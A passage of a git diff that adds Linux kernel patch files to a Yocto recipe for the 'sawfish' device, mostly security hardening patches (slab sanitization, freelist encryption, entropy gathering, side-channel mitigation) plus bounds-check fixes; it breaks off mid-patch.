ipv6_tlv_tnl_enc_lim *tel; + + /* No more room for encapsulation limit */ +- if (i + sizeof (*tel) > off + optlen) ++ if (i + sizeof(*tel) > optlen) + break; + + tel = (struct ipv6_tlv_tnl_enc_lim *) &raw[i]; +@@ -443,8 +453,8 @@ __u16 ip6_tnl_parse_tlv_enc_lim(struct sk_buff *skb, __u8 *raw) + i++; + } + } +- nexthdr = hdr->nexthdr; +- off += optlen; ++ nexthdr = next; ++ nhoff += optlen; + } + return 0; + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0010.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0010.diff new file mode 100644 index 0000000..12ba620 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0010.diff @@ -0,0 +1,32 @@ +diff --git a/drivers/hid/i2c-hid/i2c-hid.c b/drivers/hid/i2c-hid/i2c-hid.c +index b921693..bb89749 100644 +--- a/drivers/hid/i2c-hid/i2c-hid.c ++++ b/drivers/hid/i2c-hid/i2c-hid.c +@@ -283,17 +283,21 @@ static int i2c_hid_set_or_send_report(struct i2c_client *client, u8 reportType, + u16 dataRegister = le16_to_cpu(ihid->hdesc.wDataRegister); + u16 outputRegister = le16_to_cpu(ihid->hdesc.wOutputRegister); + u16 maxOutputLength = le16_to_cpu(ihid->hdesc.wMaxOutputLength); ++ u16 size; ++ int args_len; ++ int index = 0; ++ ++ i2c_hid_dbg(ihid, "%s\n", __func__); ++ ++ if (data_len > ihid->bufsize) ++ return -EINVAL; + +- /* hid_hw_* already checked that data_len < HID_MAX_BUFFER_SIZE */ +- u16 size = 2 /* size */ + ++ size = 2 /* size */ + + (reportID ? 1 : 0) /* reportID */ + + data_len /* buf */; +- int args_len = (reportID >= 0x0F ? 1 : 0) /* optional third byte */ + ++ args_len = (reportID >= 0x0F ? 1 : 0) /* optional third byte */ + + 2 /* dataRegister */ + + size /* args */; +- int index = 0; +- +- i2c_hid_dbg(ihid, "%s\n", __func__); + + if (!use_data && maxOutputLength == 0) + return -ENOSYS; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0011-01d1b7c5c156-PATCH gather extra early boot entropy like PaX.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0011-01d1b7c5c156-PATCH gather extra early boot entropy like PaX.patch new file mode 100644 index 0000000..c8e89c6 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0011-01d1b7c5c156-PATCH gather extra early boot entropy like PaX.patch @@ -0,0 +1,38 @@ +From 01d1b7c5c156e47c68380fc251c285b68bfff232 Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Tue, 14 Mar 2017 15:32:03 -0400 +Subject: [PATCH] gather extra early boot entropy like PaX + +--- + mm/page_alloc.c | 11 +++++++++++ + 1 file changed, 11 insertions(+) + +diff --git a/mm/page_alloc.c b/mm/page_alloc.c +index 6e327a3569f..ae5a95e16ef 100644 +--- a/mm/page_alloc.c ++++ b/mm/page_alloc.c +@@ -60,6 +60,7 @@ + #include + #include + #include ++#include + + #include + #include +@@ -844,6 +845,16 @@ void __free_pages_bootmem(struct page *page, unsigned long pfn, + __ClearPageReserved(p); + set_page_count(p, 0); + ++ if (!PageHighMem(page) && page_to_pfn(page) < 0x100000) { ++ unsigned long hash = 0; ++ size_t index, end = PAGE_SIZE * nr_pages / sizeof hash; ++ const unsigned long *data = lowmem_page_address(page); ++ ++ for (index = 0; index < end; index++) ++ hash ^= hash + data[index]; ++ add_device_randomness((const void *)&hash, sizeof(hash)); ++ } ++ + page_zone(page)->managed_pages += nr_pages; + set_page_refcounted(page); + __free_pages(page, order); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0012-2d85d6882e3b-PATCH use kernel commandline for early entropy.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0012-2d85d6882e3b-PATCH use kernel commandline for early entropy.patch new file mode 100644 index 0000000..2d49dca --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0012-2d85d6882e3b-PATCH use kernel commandline for early entropy.patch @@ -0,0 +1,22 @@ +From 2d85d6882e3bb07ed6ac6a1c230570e972a86ea7 Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Wed, 16 Aug 2017 14:14:00 -0400 +Subject: [PATCH] use kernel command-line for early entropy + +Change-Id: I2a8a1c7862deaddc6126b3bf256ccf8c1821cd33 +--- + init/main.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/init/main.c b/init/main.c +index ab277cdeece..93bd6d36404 100644 +--- a/init/main.c ++++ b/init/main.c +@@ -523,6 +523,7 @@ asmlinkage __visible void __init start_kernel(void) + page_address_init(); + pr_notice("%s", linux_banner); + setup_arch(&command_line); ++ add_device_randomness(command_line, strlen(command_line)); + /* + * Set up the the initial canary ASAP: + */ diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0013-a02b3dd69dfc-PATCH port of grsecuritys DEVICESIDECHANNEL feature.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0013-a02b3dd69dfc-PATCH port of grsecuritys DEVICESIDECHANNEL feature.patch new file mode 100644 index 0000000..13ce1c2 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0013-a02b3dd69dfc-PATCH port of grsecuritys DEVICESIDECHANNEL feature.patch @@ -0,0 +1,144 @@ +From a02b3dd69dfc489a8cdc50d391acdbd3c957206d Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Thu, 23 Jun 2016 17:05:09 -0400 +Subject: [PATCH] port of grsecurity's DEVICE_SIDECHANNEL feature + +--- + fs/stat.c | 20 ++++++++++++++++---- + include/linux/capability.h | 2 ++ + include/linux/fs.h | 6 ++++++ + include/linux/fsnotify.h | 6 ++++++ + kernel/capability.c | 21 +++++++++++++++++++++ + 5 files changed, 51 insertions(+), 4 deletions(-) + +diff --git a/fs/stat.c b/fs/stat.c +index ae0c3cef992..9ee641cc165 100644 +--- a/fs/stat.c ++++ b/fs/stat.c +@@ -28,8 +28,13 @@ void generic_fillattr(struct inode *inode, struct kstat *stat) + stat->gid = inode->i_gid; + stat->rdev = inode->i_rdev; + stat->size = i_size_read(inode); +- stat->atime = inode->i_atime; +- stat->mtime = inode->i_mtime; ++ if (is_sidechannel_device(inode) && !capable_nolog(CAP_MKNOD)) { ++ stat->atime = inode->i_ctime; ++ stat->mtime = inode->i_ctime; ++ } else { ++ stat->atime = inode->i_atime; ++ stat->mtime = inode->i_mtime; ++ } + stat->ctime = inode->i_ctime; + stat->blksize = (1 << inode->i_blkbits); + stat->blocks = inode->i_blocks; +@@ -52,9 +57,16 @@ EXPORT_SYMBOL(generic_fillattr); + int vfs_getattr_nosec(struct path *path, struct kstat *stat) + { + struct inode *inode = path->dentry->d_inode; ++ int retval; + +- if (inode->i_op->getattr) +- return inode->i_op->getattr(path->mnt, path->dentry, stat); ++ if (inode->i_op->getattr) { ++ retval = inode->i_op->getattr(path->mnt, path->dentry, stat); ++ if (!retval && is_sidechannel_device(inode) && !capable_nolog(CAP_MKNOD)) { ++ stat->atime = stat->ctime; ++ stat->mtime = stat->ctime; ++ } ++ return retval; ++ } + + generic_fillattr(inode, stat); + return 0; +diff --git a/include/linux/capability.h b/include/linux/capability.h +index c2eb39ff1a5..9d0ad67ba14 100644 +--- a/include/linux/capability.h ++++ b/include/linux/capability.h +@@ -210,7 +210,9 @@ extern bool has_capability_noaudit(struct task_struct *t, int cap); + extern bool has_ns_capability_noaudit(struct task_struct *t, + struct user_namespace *ns, int cap); + extern bool capable(int cap); ++extern bool capable_nolog(int cap); + extern bool ns_capable(struct user_namespace *ns, int cap); ++extern bool ns_capable_nolog(struct user_namespace *ns, int cap); + extern bool capable_wrt_inode_uidgid(const struct inode *inode, int cap); + extern bool file_ns_capable(const struct file *file, struct user_namespace *ns, int cap); + +diff --git a/include/linux/fs.h b/include/linux/fs.h +index b742504a954..63661be3dd0 100644 +--- a/include/linux/fs.h ++++ b/include/linux/fs.h +@@ -2857,4 +2857,10 @@ static inline bool dir_relax(struct inode *inode) + return !IS_DEADDIR(inode); + } + ++static inline bool is_sidechannel_device(const struct inode *inode) ++{ ++ umode_t mode = inode->i_mode; ++ return ((S_ISCHR(mode) || S_ISBLK(mode)) && (mode & (S_IROTH | S_IWOTH))); ++} ++ + #endif /* _LINUX_FS_H */ +diff --git a/include/linux/fsnotify.h b/include/linux/fsnotify.h +index a7789559078..87570f8642a 100644 +--- a/include/linux/fsnotify.h ++++ b/include/linux/fsnotify.h +@@ -197,6 +197,9 @@ static inline void fsnotify_access(struct file *file) + struct inode *inode = file_inode(file); + __u32 mask = FS_ACCESS; + ++ if (is_sidechannel_device(inode)) ++ return; ++ + if (S_ISDIR(inode->i_mode)) + mask |= FS_ISDIR; + +@@ -215,6 +218,9 @@ static inline void fsnotify_modify(struct file *file) + struct inode *inode = file_inode(file); + __u32 mask = FS_MODIFY; + ++ if (is_sidechannel_device(inode)) ++ return; ++ + if (S_ISDIR(inode->i_mode)) + mask |= FS_ISDIR; + +diff --git a/kernel/capability.c b/kernel/capability.c +index 989f5bfc57d..55aaae16f6c 100644 +--- a/kernel/capability.c ++++ b/kernel/capability.c +@@ -386,6 +386,21 @@ bool ns_capable(struct user_namespace *ns, int cap) + } + EXPORT_SYMBOL(ns_capable); + ++bool ns_capable_nolog(struct user_namespace *ns, int cap) ++{ ++ if (unlikely(!cap_valid(cap))) { ++ printk(KERN_CRIT "capable_nolog() called with invalid cap=%u\n", cap); ++ BUG(); ++ } ++ ++ if (security_capable_noaudit(current_cred(), ns, cap) == 0) { ++ current->flags |= PF_SUPERPRIV; ++ return true; ++ } ++ return false; ++} ++EXPORT_SYMBOL(ns_capable_nolog); ++ + /** + * file_ns_capable - Determine if the file's opener had a capability in effect + * @file: The file we want to check +@@ -427,6 +442,12 @@ bool capable(int cap) + } + EXPORT_SYMBOL(capable); + ++bool capable_nolog(int cap) ++{ ++ return ns_capable_nolog(&init_user_ns, cap); ++} ++EXPORT_SYMBOL(capable_nolog); ++ + /** + * capable_wrt_inode_uidgid - Check nsown_capable and uid and gid mapped + * @inode: The inode in question diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0014-3a0b9bc26b50-PATCH disable ptracescope by default.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0014-3a0b9bc26b50-PATCH disable ptracescope by default.patch new file mode 100644 index 0000000..962c4c6 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0014-3a0b9bc26b50-PATCH disable ptracescope by default.patch @@ -0,0 +1,23 @@ +From 3a0b9bc26b505bd8c02de8294b54f7845b009fc7 Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Sun, 27 Aug 2017 18:42:57 -0400 +Subject: [PATCH] disable ptrace_scope by default + +Change-Id: Id5cc7e1d2d28331d94bde4cbfcf9c77cc33629a7 +--- + security/yama/yama_lsm.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/security/yama/yama_lsm.c b/security/yama/yama_lsm.c +index 0038834b558..01ca5ccc56d 100644 +--- a/security/yama/yama_lsm.c ++++ b/security/yama/yama_lsm.c +@@ -24,7 +24,7 @@ + #define YAMA_SCOPE_CAPABILITY 2 + #define YAMA_SCOPE_NO_ATTACH 3 + +-static int ptrace_scope = YAMA_SCOPE_RELATIONAL; ++static int ptrace_scope = YAMA_SCOPE_DISABLED; + + /* describe a ptrace relationship for potential exception */ + struct ptrace_relation { diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0015-6db7b6ea5bd6-PATCH arm64 zero the leading stack canary byte.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0015-6db7b6ea5bd6-PATCH arm64 zero the leading stack canary byte.patch new file mode 100644 index 0000000..438affd --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0015-6db7b6ea5bd6-PATCH arm64 zero the leading stack canary byte.patch @@ -0,0 +1,23 @@ +From 6db7b6ea5bd64c6ae377f5469adc8bdf31f43d10 Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Thu, 23 Mar 2017 13:36:42 -0400 +Subject: [PATCH] arm64: zero the leading stack canary byte + +--- + arch/arm64/include/asm/stackprotector.h | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/arch/arm64/include/asm/stackprotector.h b/arch/arm64/include/asm/stackprotector.h +index fe5e287dc56..818d1ad9440 100644 +--- a/arch/arm64/include/asm/stackprotector.h ++++ b/arch/arm64/include/asm/stackprotector.h +@@ -31,6 +31,9 @@ static __always_inline void boot_init_stack_canary(void) + get_random_bytes(&canary, sizeof(canary)); + canary ^= LINUX_VERSION_CODE; + ++ /* Sacrifice 8 bits of entropy to mitigate non-terminated C string overflows */ ++ canary &= ~(unsigned long)0xff; ++ + current->stack_canary = canary; + __stack_chk_guard = current->stack_canary; + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0016-394cc03c5b68-PATCH add slub sanitization.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0016-394cc03c5b68-PATCH add slub sanitization.patch new file mode 100644 index 0000000..6516e21 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0016-394cc03c5b68-PATCH add slub sanitization.patch @@ -0,0 +1,27 @@ +From 394cc03c5b68a96f621e3eab5c81d95d1e15dd3d Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Mon, 23 Jan 2017 22:40:10 -0500 +Subject: [PATCH] add slub sanitization + +--- + mm/slub.c | 7 +++++++ + 1 file changed, 7 insertions(+) + +diff --git a/mm/slub.c b/mm/slub.c +index ab162d68b94..aa74c17f818 100644 +--- a/mm/slub.c ++++ b/mm/slub.c +@@ -2737,6 +2737,13 @@ static __always_inline void slab_free(struct kmem_cache *s, + + slab_free_hook(s, x); + ++ if (!(s->flags & (SLAB_DESTROY_BY_RCU | SLAB_POISON))) { ++ size_t offset = s->offset ? 0 : sizeof(void *); ++ memset(x + offset, 0, s->object_size - offset); ++ if (s->ctor) ++ s->ctor(x); ++ } ++ + redo: + /* + * Determine the currently cpus per cpu slab. diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0017-6a257ecd7de4-PATCH slub add check for writeafterfree.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0017-6a257ecd7de4-PATCH slub add check for writeafterfree.patch new file mode 100644 index 0000000..33c75da --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0017-6a257ecd7de4-PATCH slub add check for writeafterfree.patch @@ -0,0 +1,25 @@ +From 6a257ecd7de4aa6249f59a8b83eed8b46b477951 Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Sun, 2 Apr 2017 19:45:55 -0400 +Subject: [PATCH] slub: add check for write-after-free + +--- + mm/slub.c | 5 +++++ + 1 file changed, 5 insertions(+) + +diff --git a/mm/slub.c b/mm/slub.c +index aa74c17f818..385f544c559 100644 +--- a/mm/slub.c ++++ b/mm/slub.c +@@ -2531,6 +2531,11 @@ static __always_inline void *slab_alloc_node(struct kmem_cache *s, + stat(s, ALLOC_FASTPATH); + } + ++ if (!(s->flags & (SLAB_DESTROY_BY_RCU | SLAB_POISON)) && !s->ctor && object) { ++ size_t offset = s->offset ? 0 : sizeof(void *); ++ BUG_ON(memchr_inv((void *)object + offset, 0, s->object_size - offset)); ++ } ++ + if (unlikely(gfpflags & __GFP_ZERO) && object) + memset(object, 0, s->object_size); + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0018-a3c4b7c80ade-PATCH disable slab merging.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0018-a3c4b7c80ade-PATCH disable slab merging.patch new file mode 100644 index 0000000..96a8d37 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0018-a3c4b7c80ade-PATCH disable slab merging.patch @@ -0,0 +1,22 @@ +From a3c4b7c80ade5071e59f23c1d0b9742ea2601c1b Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Tue, 10 Jan 2017 20:46:29 -0500 +Subject: [PATCH] disable slab merging + +--- + mm/slab_common.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/mm/slab_common.c b/mm/slab_common.c +index 9a18f19360d..a7efb397611 100644 +--- a/mm/slab_common.c ++++ b/mm/slab_common.c +@@ -44,7 +44,7 @@ struct kmem_cache *kmem_cache; + * Merge control. If this is set then no merging of slab caches will occur. + * (Could be removed. This was introduced to pacify the merge skeptics.) + */ +-static int slab_nomerge; ++static int slab_nomerge = 1; + + static int __init setup_slab_nomerge(char *str) + { diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0019-7b7ee0d589e7-PATCH add slub free list XOR encryption.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0019-7b7ee0d589e7-PATCH add slub free list XOR encryption.patch new file mode 100644 index 0000000..5bcc98d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0019-7b7ee0d589e7-PATCH add slub free list XOR encryption.patch @@ -0,0 +1,86 @@ +From 7b7ee0d589e7911e39c253c1d8d56cea614d0b03 Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Mon, 23 Jan 2017 17:33:53 -0500 +Subject: [PATCH] add slub free list XOR encryption + +Based on the grsecurity feature, but with a per-cache random value. +--- + include/linux/slub_def.h | 2 ++ + mm/slub.c | 19 +++++++++++++++---- + 2 files changed, 17 insertions(+), 4 deletions(-) + +diff --git a/include/linux/slub_def.h b/include/linux/slub_def.h +index 68c4ec76a58..f6fe77b676e 100644 +--- a/include/linux/slub_def.h ++++ b/include/linux/slub_def.h +@@ -93,6 +93,8 @@ struct kmem_cache { + #endif + #endif + ++ unsigned long random; ++ + #ifdef CONFIG_NUMA + /* + * Defragmentation by allocating from a remote node. +diff --git a/mm/slub.c b/mm/slub.c +index 385f544c559..9f1a41851d4 100644 +--- a/mm/slub.c ++++ b/mm/slub.c +@@ -34,6 +34,7 @@ + #include + #include + #include ++#include + + #include + +@@ -234,20 +235,28 @@ static inline void stat(const struct kmem_cache *s, enum stat_item si) + + static inline void *get_freepointer(struct kmem_cache *s, void *object) + { +- return *(void **)(object + s->offset); ++ unsigned long freepointer_addr = (unsigned long)object + s->offset; ++ return (void *)(*(unsigned long *)freepointer_addr ^ s->random ^ freepointer_addr); + } + + static void prefetch_freepointer(const struct kmem_cache *s, void *object) + { +- prefetch(object + s->offset); ++ unsigned long freepointer_addr = (unsigned long)object + s->offset; ++ if (object) { ++ void **freepointer_ptr = (void **)(*(unsigned long *)freepointer_addr ^ s->random ^ freepointer_addr); ++ prefetch(freepointer_ptr); ++ } + } + + static inline void *get_freepointer_safe(struct kmem_cache *s, void *object) + { ++ unsigned long __maybe_unused freepointer_addr; + void *p; + + #ifdef CONFIG_DEBUG_PAGEALLOC +- probe_kernel_read(&p, (void **)(object + s->offset), sizeof(p)); ++ freepointer_addr = (unsigned long)object + s->offset; ++ probe_kernel_read(&p, (void **)freepointer_addr, sizeof(p)); ++ return (void *)((unsigned long)p ^ s->random ^ freepointer_addr); + #else + p = get_freepointer(s, object); + #endif +@@ -256,7 +265,8 @@ static inline void *get_freepointer_safe(struct kmem_cache *s, void *object) + + static inline void set_freepointer(struct kmem_cache *s, void *object, void *fp) + { +- *(void **)(object + s->offset) = fp; ++ unsigned long freepointer_addr = (unsigned long)object + s->offset; ++ *(void **)freepointer_addr = (void *)((unsigned long)fp ^ s->random ^ freepointer_addr); + } + + /* Loop over all objects in a slab */ +@@ -3163,6 +3173,7 @@ static int calculate_sizes(struct kmem_cache *s, int forced_order) + static int kmem_cache_open(struct kmem_cache *s, unsigned long flags) + { + s->flags = kmem_cache_flags(s->size, flags, s->name, s->ctor); ++ s->random = get_random_long(); + s->reserved = 0; + + if (need_reserve_slab_rcu && (s->flags & SLAB_DESTROY_BY_RCU)) diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0020-bb20ba504a1b-PATCH add missing cachefromobj PageSlab check.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0020-bb20ba504a1b-PATCH add missing cachefromobj PageSlab check.patch new file mode 100644 index 0000000..3323f30 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0020-bb20ba504a1b-PATCH add missing cachefromobj PageSlab check.patch @@ -0,0 +1,22 @@ +From bb20ba504a1bd5615265a67f151878c7695bb857 Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Sun, 22 Jan 2017 22:22:34 -0500 +Subject: [PATCH] add missing cache_from_obj !PageSlab check + +Taken from PaX. +--- + mm/slab.h | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/mm/slab.h b/mm/slab.h +index ab019e63e3c..949e14611c1 100644 +--- a/mm/slab.h ++++ b/mm/slab.h +@@ -300,6 +300,7 @@ static inline struct kmem_cache *cache_from_obj(struct kmem_cache *s, void *x) + return s; + + page = virt_to_head_page(x); ++ BUG_ON(!PageSlab(page)); + cachep = page->slab_cache; + if (slab_equal_or_root(cachep, s)) + return cachep; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0021-24e686d8b498-PATCH real slabequalorroot check for MEMCGKMEM.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0021-24e686d8b498-PATCH real slabequalorroot check for MEMCGKMEM.patch new file mode 100644 index 0000000..fa5d60c --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0021-24e686d8b498-PATCH real slabequalorroot check for MEMCGKMEM.patch @@ -0,0 +1,22 @@ +From 24e686d8b4983f5d6d0b9d4448aecff5844c2dbf Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Thu, 30 Mar 2017 23:05:53 -0400 +Subject: [PATCH] real slab_equal_or_root check for !MEMCG_KMEM + +--- + mm/slab.h | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/mm/slab.h b/mm/slab.h +index 949e14611c1..cb15a421989 100644 +--- a/mm/slab.h ++++ b/mm/slab.h +@@ -255,7 +255,7 @@ static inline bool is_root_cache(struct kmem_cache *s) + static inline bool slab_equal_or_root(struct kmem_cache *s, + struct kmem_cache *p) + { +- return true; ++ return p == s; + } + + static inline const char *cache_name(struct kmem_cache *s) diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0022-3ab6268a0684-PATCH always perform cachefromobj sanity checks.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0022-3ab6268a0684-PATCH always perform cachefromobj sanity checks.patch new file mode 100644 index 0000000..7560210 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0022-3ab6268a0684-PATCH always perform cachefromobj sanity checks.patch @@ -0,0 +1,30 @@ +From 3ab6268a068489d4fe7990842d8cb134ebdbdbc4 Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Thu, 30 Mar 2017 23:07:09 -0400 +Subject: [PATCH] always perform cache_from_obj sanity checks + +--- + mm/slab.h | 10 ---------- + 1 file changed, 10 deletions(-) + +diff --git a/mm/slab.h b/mm/slab.h +index cb15a421989..d7ef270a192 100644 +--- a/mm/slab.h ++++ b/mm/slab.h +@@ -289,16 +289,6 @@ static inline struct kmem_cache *cache_from_obj(struct kmem_cache *s, void *x) + struct kmem_cache *cachep; + struct page *page; + +- /* +- * When kmemcg is not being used, both assignments should return the +- * same value. but we don't want to pay the assignment price in that +- * case. If it is not compiled in, the compiler should be smart enough +- * to not do even the assignment. In that case, slab_equal_or_root +- * will also be a constant. +- */ +- if (!memcg_kmem_enabled() && !unlikely(s->flags & SLAB_DEBUG_FREE)) +- return s; +- + page = virt_to_head_page(x); + BUG_ON(!PageSlab(page)); + cachep = page->slab_cache; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0023-1c8468b2d4bd-PATCH panic on kmemcachefree with the wrong cache.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0023-1c8468b2d4bd-PATCH panic on kmemcachefree with the wrong cache.patch new file mode 100644 index 0000000..c892e2d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0023-1c8468b2d4bd-PATCH panic on kmemcachefree with the wrong cache.patch @@ -0,0 +1,25 @@ +From 1c8468b2d4bdf1f74c34243a2e8998343430ea8d Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Sat, 25 Mar 2017 02:44:05 -0400 +Subject: [PATCH] panic on kmem_cache_free with the wrong cache + +--- + mm/slab.h | 4 +--- + 1 file changed, 1 insertion(+), 3 deletions(-) + +diff --git a/mm/slab.h b/mm/slab.h +index d7ef270a192..70f33b276ee 100644 +--- a/mm/slab.h ++++ b/mm/slab.h +@@ -295,10 +295,8 @@ static inline struct kmem_cache *cache_from_obj(struct kmem_cache *s, void *x) + if (slab_equal_or_root(cachep, s)) + return cachep; + +- pr_err("%s: Wrong slab cache. %s but object is from %s\n", ++ panic("%s: Wrong slab cache. %s but object is from %s\n", + __func__, cachep->name, s->name); +- WARN_ON_ONCE(1); +- return s; + } + + #ifndef CONFIG_SLOB diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0024-4022d3d1c52e-PATCH panic on PageSlab PageCompound in ksize.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0024-4022d3d1c52e-PATCH panic on PageSlab PageCompound in ksize.patch new file mode 100644 index 0000000..ad0f185 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0024-4022d3d1c52e-PATCH panic on PageSlab PageCompound in ksize.patch @@ -0,0 +1,22 @@ +From 4022d3d1c52e2c7e1addc3fe576eb9a83568d06e Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Sun, 26 Mar 2017 16:24:45 -0400 +Subject: [PATCH] panic on !PageSlab && !PageCompound in ksize + +--- + mm/slub.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/mm/slub.c b/mm/slub.c +index c47eeb8b75e..709fa088091 100644 +--- a/mm/slub.c ++++ b/mm/slub.c +@@ -3531,7 +3531,7 @@ static size_t __ksize(const void *object) + page = virt_to_head_page(object); + + if (unlikely(!PageSlab(page))) { +- WARN_ON(!PageCompound(page)); ++ BUG_ON(!PageCompound(page)); + return PAGE_SIZE << compound_order(page); + } + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0025-d81dbddb71d7-PATCH add kmalloc allocsize attributes.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0025-d81dbddb71d7-PATCH add kmalloc allocsize attributes.patch new file mode 100644 index 0000000..b1113cc --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0025-d81dbddb71d7-PATCH add kmalloc allocsize attributes.patch @@ -0,0 +1,36 @@ +From d81dbddb71d7a34f1c0fdc1a0a047e7d566bc916 Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Mon, 10 Apr 2017 12:45:43 -0400 +Subject: [PATCH] add kmalloc alloc_size attributes + +--- + include/linux/slab.h | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +diff --git a/include/linux/slab.h b/include/linux/slab.h +index 127aec32a05..17b58076f75 100644 +--- a/include/linux/slab.h ++++ b/include/linux/slab.h +@@ -300,11 +300,11 @@ static __always_inline int kmalloc_index(size_t size) + } + #endif /* !CONFIG_SLOB */ + +-void *__kmalloc(size_t size, gfp_t flags); ++void *__kmalloc(size_t size, gfp_t flags) __attribute__((alloc_size(1))); + void *kmem_cache_alloc(struct kmem_cache *, gfp_t flags); + + #ifdef CONFIG_NUMA +-void *__kmalloc_node(size_t size, gfp_t flags, int node); ++void *__kmalloc_node(size_t size, gfp_t flags, int node) __attribute__((alloc_size(1))); + void *kmem_cache_alloc_node(struct kmem_cache *, gfp_t flags, int node); + #else + static __always_inline void *__kmalloc_node(size_t size, gfp_t flags, int node) +@@ -428,7 +428,7 @@ static __always_inline void *kmalloc_large(size_t size, gfp_t flags) + * for general use, and so are not documented here. For a full list of + * potential flags, always refer to linux/gfp.h. + */ +-static __always_inline void *kmalloc(size_t size, gfp_t flags) ++static __always_inline __attribute__((alloc_size(1))) void *kmalloc(size_t size, gfp_t flags) + { + if (__builtin_constant_p(size)) { + if (size > KMALLOC_MAX_CACHE_SIZE) diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0026-299838765487-PATCH add vmalloc allocsize attributes.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0026-299838765487-PATCH add vmalloc allocsize attributes.patch new file mode 100644 index 0000000..92a0dfe --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0026-299838765487-PATCH add vmalloc allocsize attributes.patch @@ -0,0 +1,43 @@ +From 299838765487e7c1bea79c7718bd4e1004efbdc0 Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Wed, 19 Apr 2017 12:00:54 -0400 +Subject: [PATCH] add vmalloc alloc_size attributes + +--- + include/linux/vmalloc.h | 20 ++++++++++---------- + 1 file changed, 10 insertions(+), 10 deletions(-) + +diff --git a/include/linux/vmalloc.h b/include/linux/vmalloc.h +index 4ef619b594b..61efa2f4cdb 100644 +--- a/include/linux/vmalloc.h ++++ b/include/linux/vmalloc.h +@@ -68,19 +68,19 @@ static inline void vmalloc_init(void) + } + #endif + +-extern void *vmalloc(unsigned long size); +-extern void *vzalloc(unsigned long size); +-extern void *vmalloc_user(unsigned long size); +-extern void *vmalloc_node(unsigned long size, int node); +-extern void *vzalloc_node(unsigned long size, int node); +-extern void *vmalloc_exec(unsigned long size); +-extern void *vmalloc_32(unsigned long size); +-extern void *vmalloc_32_user(unsigned long size); +-extern void *__vmalloc(unsigned long size, gfp_t gfp_mask, pgprot_t prot); ++extern void *vmalloc(unsigned long size) __attribute__((alloc_size(1))); ++extern void *vzalloc(unsigned long size) __attribute__((alloc_size(1))); ++extern void *vmalloc_user(unsigned long size) __attribute__((alloc_size(1))); ++extern void 